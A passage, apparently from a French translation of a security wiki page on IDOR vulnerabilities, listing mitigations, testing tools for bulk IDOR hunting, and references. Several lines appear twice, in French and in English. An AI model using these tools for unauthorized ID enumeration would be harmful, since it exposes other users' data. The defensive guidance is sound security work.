1. **Appliquer l'autorisation au niveau objet** sur chaque requête (`user_id == session.user`).
2. Préférer des **identifiants indirects et non devinables** (UUIDv4, ULID) plutôt que des IDs auto-incrémentés.
3. Effectuer l'autorisation **côté serveur**, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI.
4. Implémenter des vérifications **RBAC / ABAC** dans un middleware central.
5. Ajouter **limitation de taux & journalisation** pour détecter l'énumération des IDs.
6. Tester la sécurité de chaque nouvel endpoint (unitaire, intégration et DAST).
5. Ajouter **rate-limiting & logging** pour détecter l'énumération d'IDs.
6. Tester la sécurité de chaque nouvel endpoint (tests unitaires, d'intégration et DAST).
---
## 5. Outils
* **Extensions BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Projets Github** : `bwapp-idor-scanner`, `Blindy` (chasse IDOR en masse).
* **Projets Github**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## Références
## References
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}